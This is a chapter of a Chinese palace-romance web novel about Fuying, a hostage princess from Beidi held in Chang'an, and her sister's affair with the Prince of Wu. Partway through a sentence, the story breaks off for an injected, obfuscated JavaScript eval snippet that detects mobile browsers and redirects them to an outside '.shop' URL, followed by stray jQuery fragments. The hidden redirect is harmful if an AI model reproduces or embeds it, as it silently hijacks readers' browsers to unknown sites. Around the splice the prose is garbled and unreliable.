12.第 12 章
作品:《春雪扶楹》 破晓时分,天色将晞。
阵阵凉气浸润着长安城,浓浓绿荫里透出清脆悦耳的鸟鸣。
八月十六,中秋刚过,重华殿掌事嬷嬷手拿锣鼓,沿着四方游廊,一边敲鼓一边叩门,厉声吆喝着:“所有女子速速起床,洗漱梳妆。只许两刻,不得超时!”
月初,北方持续半年依旧的战乱,以大雍军大获全胜告终。
战败之后,为保北狄不被覆灭,可汗商鸷被迫签立新盟约。
北狄年年向大雍纳贡,并献上十名如花似玉的公主前往长安为质,包括商鸷三位女儿、六位侄女及义女扶楹,以表称臣诚意。
尊贵公主沦为低贱质子,自由全无,形同囚徒,存亡安危皆在大雍皇帝一念之间,惶惶不可终日。
纵使她们百般不愿,但个人之失远抵不过家国沦陷,在命运的掌控下,她们只是苟且生存的蝼蚁。
八月初,一行女子于抵达长安,被临时安置在大明宫重华殿,将于九月初十良辰吉日前往各自被安排的归宿。
扶楹与商珏的二妹商瑶一同住在东厢房的南间。
商瑶年十八,比扶楹年长两岁,此前是位千金贵体的公主,身形凹凸有致,有一副出水芙蓉般的姣好容貌。
二人虽仿佛年纪,性格却不甚相似。
扶楹整日与书卷字画为伴,不骄不躁;商瑶从小娇生惯养,对没有婢女服侍的日子很是烦闷。
被屋外掌事嬷嬷的锣鼓喧嚣吵得耳膜发痛,商瑶只得睡眼惺忪爬起身,缓了好一阵子,才慢吞吞去取一旁的衣裙。
“他们真是——这屋子局促也就罢了,还要将奴婢们分开安置,本宫何尝吃过这般苦头?”
商瑶不悦嘟囔道,正在换衣的扶楹向她做了个噤声的动作。
“阿姐,在此处一切言行需谨慎,当心祸从口出。”
“哦……”
商瑶这才意识到有些不妥。
她们十位姐妹已经自降身份充当人质,自然需要改换自称。
换衣梳洗过后,商瑶坐在妆镜台前,细致妥帖地为自己上妆。
“阿楹,”商瑶对着铜镜细细贴好桃红色的梅瓣形花钿,转头望向扶楹,“我今日的妆容好不好看?”
扶楹正将鹅梨帐中香置于燃烧的香碳上,抬头看了一眼商瑶,发自内心说道:“很好看,衬得阿姐更加明媚动人。”
商瑶喜形于色,对铜镜瞧了又瞧,在花瓣周围嵌了几粒微小的珍珠点缀。
扶楹笑笑,低头盖好云母片,阖上香炉盖。
轻烟伴随着清甜的幽香,袅袅升起,如薄纱一般弥漫在屋内。
“唉……”
商瑶欣然过后,不禁黛眉微蹙,轻轻叹了口气。
“他已经三日没来了。”
扶楹自然明白商瑶口中的“他”是谁。
北狄钟灵毓秀,传言那里的女子秀美无双。她们一行人抵达重华殿当日,便有几位皇子慕名前来远观。
其中便有四皇子——吴王闻炯。
自贞懿皇后薨殁,吴王生母舒贵妃受皇帝专宠至今,手握协理后宫大权,荣极一时。
子凭母贵,吴王虽不具才干,也颇受皇帝喜爱,分封嘉赏不计其数。
那日,商瑶打扮得明艳奔放,瞅准时机,向那些王爷展现着自己的窈窕柔美身段。
待认出吴王之后,她大胆上前,手指轻轻勾住他的衣襟,媚眼如丝。
吴王意味深长打量着她,唇角微勾。三言两语之后,任由商瑶将他领进屋内。
其余女子与皇子皆愣在原地,面面相觑。
掌事嬷嬷瞧着吴王身后的一行随从,视若无睹。
这里不属于后宫,面对位高权重的王爷与质女私相授受,比起惹上不必要的麻烦,掌事嬷嬷宁愿独善其身,对此睁一只眼闭一只眼。
院内,商珏的堂妹商玫瞧着紧闭的屋门,无奈嗔怪道:“什么嘛,阿瑶好狡猾哦——”
另一人耸耸肩道:“我要是有那胆量,也这样豁出去咯。谁不知吴王前不久丧妻,王妃之位空缺,这样天大的好事,阿瑶当然要抢先一步了。”
扶楹默默伫立在她们之后,一言未发。
她只是有些苦恼,商瑶和吴王霸占了屋子,她这个把时辰要前往哪去。
……
见商瑶忧心忡忡,扶楹忍不住出言安慰道:“阿姐,吴王远居于王府,也不是日日都进宫。”
商瑶依旧面带愁容,“罢了,我天天花这许久时间打扮,只求他能惦念我分毫。”
“其实……”
扶楹欲言又止,左思右想,还是说了出来:“吴王那样的男人,身边是不缺女子的,阿姐莫要将心思完全倾注于他身上,自寻烦忧……”
“阿楹,你尚且年幼,有些事情你还不明白!”
扶楹的话许是戳到了商瑶的痛处,情绪不免有些激动,连忙打断:“男人都是被欲念支配的,我这么做,是为自己将来做打算。”
商瑶接着道:“我们在这长安无依无靠,人生地不熟,有人庇护尚且可过得舒坦日子,了此残生。倒是你,整日里优哉游哉,为何不为以后上些心?”
她们现在的处境如同俎上鱼肉,任人宰割,仅凭自己的力量很难存活。
扶楹何尝想不到这一点?
面对存亡,她并不会自视清高,也一直在寻求值得依附的人。只是那个人,绝不可能是吴王这样的轻浮好色之徒。
人各有志,扶楹深知同商瑶多说无益,说不定对方还认为她才是顽固不化之人。
午睡过后,女子们出了各屋,三三两两凑在一起,相谈甚欢。
蓦地,殿门便被倏地打开,并随着一声嘹亮的通报。
“吴王到——”
女子们皆俯身行礼,齐齐说道:“见过王爷。”
吴王身着绫罗锦霞纹朝服,神色飞扬,华丽衣着彰显其地位高贵不凡,与重华殿简约朴素的一切格格不入。
他身后还跟着几名随从,看样子,是刚刚朝见完毕便来到此处。
他长相英俊,身姿挺拔,再加上尊崇的身份,难怪能勾搭如此多春心荡漾的女子。
吴王大手一挥,示意她们免礼,目光便直直落在商瑶身上。
商瑶抬头,与他四目相对,一颗心飞速跳动,甚至要跃出胸膛。
她大步走到他面前,满脸娇羞:“阿瑶终于将王爷等来了。”
“姑娘还念着本王么?”
吴王一笑,伸手抬起她的下颌,细细端详着眼前经过悉心装扮的容颜,目光中满是对美色的贪恋。
商瑶眨眨眼睛,露出羞怯甜美的笑容。
“妾身无时无刻不在想念王爷。”
吴王心满意足
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17050745|194236||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
点点头,刻意压低了声音:“姑娘如此情深,本王须好好疼爱才是。”
说罢,他在众目睽睽之下紧扣商瑶的纤腰,同她进入东厢房。
几名持刀侍卫跟随至前,阖上屋门,在门口肃穆而立。
宽阔的殿内瞬间陷入沉默。
一女子撇嘴埋怨道:“这都多少次了,阿瑶可真是不害臊。”
另一女子则不以为意,“嗐,又不是在我们房间,随她去吧。若能攀上吴王,也算她的本事。”
当然,她们也只敢背后小声嘀咕罢了。
吴王领了随从,若被听去,恐会因擅议王爷而治罪。
扶楹正从殿外提了桶水归来,欲要浆洗衣物,见到殿中景象,愣了一下。
她在一行人的注视下,有些不明所以地走向东厢房。
两名正颜厉色的侍卫守在门口,见到扶楹靠近,飞速抽刀指向她,压低声音训斥道:“大胆,速速退下!”
扶楹未意识到发生何事,却被刀刃反射的日光晃了眼睛,不由得侧脸瑟缩了一下。
此刻,被刻意压低的沉重喘息和吟声□□,伴随着床塌的响动,透过不甚严实的轩窗,传出屋外。
扶楹浑身的血液集中冲向头顶,仿佛被烫到一般,不知所措地向后大退一步。
十位前来长安的女子中,她是为数不多未经人事的,自然对此面红耳赤。
身后传来几声女子的轻笑。
“阿楹——”
商玫笑着喊她,有些幸灾乐祸地打趣道:“实在不巧,你又被‘驱逐’了。”
“……”
扶楹无言以对,瞬间知晓是谁在屋内做出如此大的骚动。
她昨日换下的衣物还在房内,此时被商瑶和吴王占了屋子,她又无法去洗衣了。
也罢。
扶楹自知束手无策,遂叹了口气,转身下了台阶。
她是可汗商鸷的义女,也是由他亲手册封的怀宁公主。但前来长安的北狄公主中,她作为唯一的外姓女子,不免感受到她们对她怀着隐隐芥蒂。
扶楹心中感慨道,但并不十分在意。
她取出帕子,擦了擦手上的水渍,从容不迫走出重华殿。
离开熙攘的人群,扶楹深吸了一口气,四周氛围变得自在闲适起来。
作为大雍皇宫,大明宫金碧辉煌,宏伟辽阔,琼楼玉宇不计其数。
重华殿位于大明宫西南侧一片独立的区域,用于接待外宾、安放质子等。
她们在入宫之时便被告知,外来女子只允许在这附近走动,不可穿过二里之外的长街,前往大殿及后宫。
扶楹沿着前方的鹅卵石小径缓缓踱步,这里通往玉清湖,在风和日丽的午后,湖畔景色美不胜收。
穿梭在充满绿意的假山之中,扶楹思绪不由得渐渐飘远。
吴王在此前来过两次重华殿,每次都是待了不到半个时辰便离开。
今日他未时三刻前来,那她不到申时便可回去了。
扶楹心中算着时间,未曾注意到与前方一行人迎面相遇。
仪仗为首而行的宫女率先打量了下眼前心不在焉的女子。
她是皇宫的生面孔,穿着简朴素雅,实在不像是某位高门贵女。
“大胆!”
宫女大声出言质问:“见到清溪公主为何不拜?”

